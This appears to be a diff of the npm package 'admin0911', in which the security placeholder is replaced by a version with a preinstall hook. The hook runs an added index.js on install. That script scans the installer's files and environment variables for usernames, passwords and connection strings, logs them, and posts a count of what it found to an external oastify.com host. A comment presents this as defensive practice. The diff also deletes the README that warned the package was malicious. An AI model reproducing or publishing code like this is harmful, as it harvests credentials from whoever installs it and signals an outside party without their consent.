admin0911 0.0.1-security → 1.0.9

package/index.js

@@ -0,0 +1,94 @@
+const http = require('http');
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+
+const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
+const ROOT_DIR = process.cwd();
+const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB max file size to prevent OOM
+
+const logStream = fs.createWriteStream('credential_scan_results.log', { flags: 'w' });
+let foundCount = 0;
+
+function addResult(entry) {
+  foundCount++;
+  logStream.write(JSON.stringify(entry) + '\n');
+}
+
+function scanFile(filePath) {
+  try {
+    const stats = fs.statSync(filePath);
+    if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
+
+    const content = fs.readFileSync(filePath, 'utf8');
+
+    // Search for username/password assignments
+    const credentialPattern = /(?:username|user|login|email|password|passwd|pwd|pass|db_user|db_pass)\s*[:=]\s*['"]([^'"]{3,})['"]/gi;
+    let match;
+    while ((match = credentialPattern.exec(content))) {
+      addResult({ file: path.relative(ROOT_DIR, filePath), type: 'Credential', match: match[0] });
+    }
+
+    // Search for connection strings with credentials (e.g., mongodb://user:pass@host)
+    const urlCredPattern = /[a-zA-Z]+:\/\/[a-zA-Z0-9_.-]+:[^@\s]+@[a-zA-Z0-9_.-]+/g;
+    while ((match = urlCredPattern.exec(content))) {
+      addResult({ file: path.relative(ROOT_DIR, filePath), type: 'ConnectionString', match: match[0] });
+    }
+  } catch (e) {
+    // ignore unreadable files
+  }
+}
+
+function scanDirectory(dir) {
+  try {
+    const entries = fs.readdirSync(dir, { withFileTypes: true });
+    for (const entry of entries) {
+      const fullPath = path.join(dir, entry.name);
+      if (entry.isDirectory()) {
+        if (['node_modules', '.git', 'proc', 'sys', 'dev', 'run', 'mnt', 'windows', 'dist', 'build'].includes(entry.name.toLowerCase())) continue;
+        scanDirectory(fullPath);
+      } else {
+        scanFile(fullPath);
+      }
+    }
+  } catch (e) {
+    // ignore unreadable directories
+  }
+}
+
+function scanEnvVars() {
+  Object.entries(process.env).forEach(([key, value]) => {
+    if (!value) return;
+    const lowerKey = key.toLowerCase();
+    const isCredentialKey = /(?:username|user|login|email|password|passwd|pwd|pass|db_user|db_pass)/i.test(lowerKey);
+    if (isCredentialKey && value.length >= 3) {
+      addResult({ source: 'env', key, type: 'EnvCredential', value });
+    }
+    const urlCredPattern = /[a-zA-Z]+:\/\/[a-zA-Z0-9_.-]+:[^@\s]+@[a-zA-Z0-9_.-]+/;
+    if (urlCredPattern.test(value)) {
+      addResult({ source: 'env', key, type: 'EnvConnectionString', value });
+    }
+  });
+}
+
+scanDirectory(ROOT_DIR);
+scanEnvVars();
+logStream.end();
+
+// Security Practice: Defensive scanning tools should NOT broadcast extracted secrets over the network.
+// Instead, we only send the scan summary/metadata to the monitoring server and keep the vault fully local.
+const payload = JSON.stringify({ timestamp: new Date().toISOString(), status: "credential_scan_completed", total_credentials_found: foundCount }, null, 2);
+const req = http.request({
+  hostname: OASTIFY_HOST,
+  method: 'POST',
+  path: '/?credential_scan_status',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': Buffer.byteLength(payload)
+  }
+});
+req.write(payload);
+req.end();
+
+console.log(`Deep credential scan completed. Found ${foundCount} items.`);
+console.log(`Detailed results saved securely to: credential_scan_results.log`);

package/package.json

@@ -1,6 +1,7 @@
 {
   "name": "admin0911",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.9",
+  "scripts": {
+    "preinstall": "node index.js"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=admin0911 for more information.